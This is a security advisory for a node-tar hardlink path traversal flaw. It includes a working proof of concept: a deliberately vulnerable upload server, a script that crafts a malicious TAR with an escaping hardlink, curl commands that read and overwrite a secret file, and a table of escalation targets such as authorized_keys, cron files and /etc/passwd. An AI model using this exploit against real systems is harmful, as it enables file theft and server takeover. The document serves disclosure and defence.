| summary |
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
### Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
### Details
The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:
**Security check in `[STRIPABSOLUTEPATH]`:**
```javascript
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
```
**Hardlink creation in `[HARDLINK]`:**
```javascript
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
```
**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.
- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.
- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.
The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
### PoC
#### Setup
Create a new directory with these files:
```
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
```
**package.json**
```json
{ "dependencies": { "tar": "^7.5.0" } }
```
**secret.txt** (sensitive file outside uploads/)
```
DATABASE_PASSWORD=supersecret123
```
**server.js** (vulnerable file upload server)
```javascript
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
```
**create-malicious-tar.js** (attacker creates exploit TAR)
```javascript
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```
#### Run
```bash
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
```
### Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.
**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
### Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|--------------|-------------|--------|
| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |
| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |
| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |
| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |
| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |
| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |
## Data Exfiltration & Corruption
1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations
2. **Read sensitive files** by creating hardlinks that point outside extraction directory
3. **Corrupt databases** and application state
4. **Steal credentials** from config files, `.env`, secrets |